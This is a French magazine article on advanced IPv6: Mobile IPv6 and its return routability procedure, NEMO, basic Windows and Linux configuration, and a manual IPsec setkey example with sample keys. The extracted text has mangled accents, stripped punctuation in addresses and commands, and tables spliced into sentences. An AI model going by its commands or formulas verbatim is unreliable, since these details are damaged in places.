Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

